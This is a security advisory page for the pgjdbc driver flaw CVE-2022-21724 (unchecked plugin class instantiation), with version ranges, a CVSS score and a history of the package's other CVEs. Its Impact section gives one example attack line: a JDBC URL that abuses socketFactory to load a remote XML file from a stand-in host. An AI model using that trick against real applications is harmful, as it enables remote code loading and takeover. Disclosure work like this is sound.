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High

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

  • Disclosed: 02.02.2022
  • Updated: 11.10.2026 13:19

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.postgresql:postgresql >= 9.4.1208, < 42.2.25, >= 42.3.0, < 42.3.2 42.2.25, 42.3.2

References

CVSS score 7/10
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-665, CWE-668, CWE-74
Platform
Java / Kotlin (Maven)
Package
org.postgresql:postgresql
Disclosed
02.02.2022
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - GHSA-v7wg-cpwc-24m4 - CC BY 4.0

Vulnerability history: org.postgresql:postgresql

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (10) in the archive
Total entries
10
First → latest
02.2022 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 7
  • Medium 2

Disclosures per year

Severity:
  1. PostgreSQL JDBC Driver: Silent channel-binding authentication downgrade via unsupported certificate algorithms
    High CVE-2026-54291 >= 42.7.4, < 42.7.12 42.7.12
  2. pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
    High · 7.5 CVE-2026-42198 >= 42.2.0, < 42.7.11 42.7.11
  3. pgjdbc Client Allows Fallback to Insecure Authentication Despite channelBinding=require Configuration
    High · 8.2 CVE-2025-49146 >= 42.7.4, < 42.7.7 42.7.7
  4. org.postgresql:postgresql vulnerable to SQL Injection via line comment generation
    Critical · 10.0 CVE-2024-1597 < 42.2.28, >= 42.3.0, < 42.3.9, >= 42.4.0, < 42.4.4, >= 42.5.0, < 42.5.5, >= 42.6.0, < 42.6.1, >= 42.7.0, < 42.7.2 42.2.28, 42.3.9, 42.4.4, 42.5.5, 42.6.1, 42.7.2
  5. PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names
    High · 7.1 CVE-2022-31197 < 42.2.26, >= 42.4.0, < 42.4.1, >= 42.3.0, < 42.3.7 42.2.26, 42.4.1, 42.3.7
  6. Unescaped parameters in the PostgreSQL JDBC driver
    High CVE-2012-1618 < 8.2 8.2
  7. Improper Restriction of XML External Entity Reference
    High · 7.7 CVE-2020-13692 >= 9.4.1212.jre6, < 42.2.13 42.2.13
  8. pgjdbc Does Not Check Class Instantiation when providing Plugin Classes this entry
    High · 7.0 CVE-2022-21724 >= 9.4.1208, < 42.2.25, >= 42.3.0, < 42.3.2 42.2.25, 42.3.2

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